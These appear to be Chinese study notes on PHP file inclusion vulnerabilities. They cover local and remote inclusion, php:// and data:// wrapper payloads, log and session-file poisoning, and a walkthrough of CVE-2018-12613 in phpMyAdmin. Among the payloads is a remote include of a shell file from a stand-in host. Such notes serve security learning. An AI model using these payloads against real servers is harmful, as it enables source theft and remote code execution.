基本概念
- 文件包含
将相同函数写入单独的文件中,需要使用时直接调用 - 文件包含漏洞
将被包含的文件设置为变量,导致客户端可以恶意调用一个恶意文件 - 相关函数
include()
include_once()
require()
require_once()
include()
若没有找到文件,只报warning;require()
报错停止
once说明值包含一次
包含可执行文件时会直接执行
本地文件包含
- 包含的实现
包含的时候,不一定要包含.php文件,只要包含一块完整的php代码,例如a.jpg,内容为<?php phpinfo();?>
- 具体场景
由于被包含的文件类型多种多样,因此在实现的时候,重点在于找到可控文件- 比如说能够上传图片,就去传一个带完整php代码的图片文件,或者是将代码文件改后缀
- 压缩包使用伪协议
远程文件包含
-
远程包含的条件
allow_url_fopen
allow_url_include
-
[http|https|ftp]://www.bbb.com/shell.txt
若后缀名写死,可以使用?绕过
例如www.bbb.com/shell.txt?a.php
-
伪协议
- php归档
phar://archive.zip/file.txt
zip://archive.zip#dir/file.txt
(#有时需要替换为%23)
- 利用php流
php://filter
是一种元封装器,用于数据流打开筛选过滤的应用。对于一体式的文件函数非常有用,类似readfile()
、file()
和file_get_contents()
。
?file=php://filter/convert.base64-encode/resource=index.php
可以用/
来链式链接过滤器,如果没有找到过滤器也不影响执行,所以可以用来绕过,例如=php://filter/convert.base64-encode/write=woofers/resource=flag
php://input
利用条件:- 1、allow_url_include=On
- 2、对allow_url_fopen不做要求
php://input
可以读取没有处理过的POST数据
- data协议
include('data://text/plain;base64,cGhwaW5mbygpCg==');
compress.zlib://data:@127.0.0.1/plain;base64,
可以直接传入数据
data协议后面紧跟的是mime类型,但是谁都知道没人关心这个东西,所以可以随便填点什么用来绕过
- php归档
具体场景
-
日志文件
web服务器会将请求写入到日志文件中,比如说apache。当用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/var/log/apahce2/ -
session
登录注册类型要么sql注入要么session文件包含- php默认生成的Session文件往往存在/tmp目录下
- 文件名为sess_PHPSESSID
- session.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传过程中生成上传进度文件,它的储存文件路径可以在phpinfo获取到
补充
- CVE-2018-12613Phpmyadmin后台 任意文件包含漏洞复现
checkPageValidity
//%253f是?号的二此url编码
urlcode将$page解码后是db_sql.php?/../../test.php 再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
前面5个if都符合后会包含$_REQUEST['target'],target值会被解析成db_sql.php%3f/../../test.txt,因为php会前面db_sql.php%3f当成目录,所以要多加一个../来跨出目录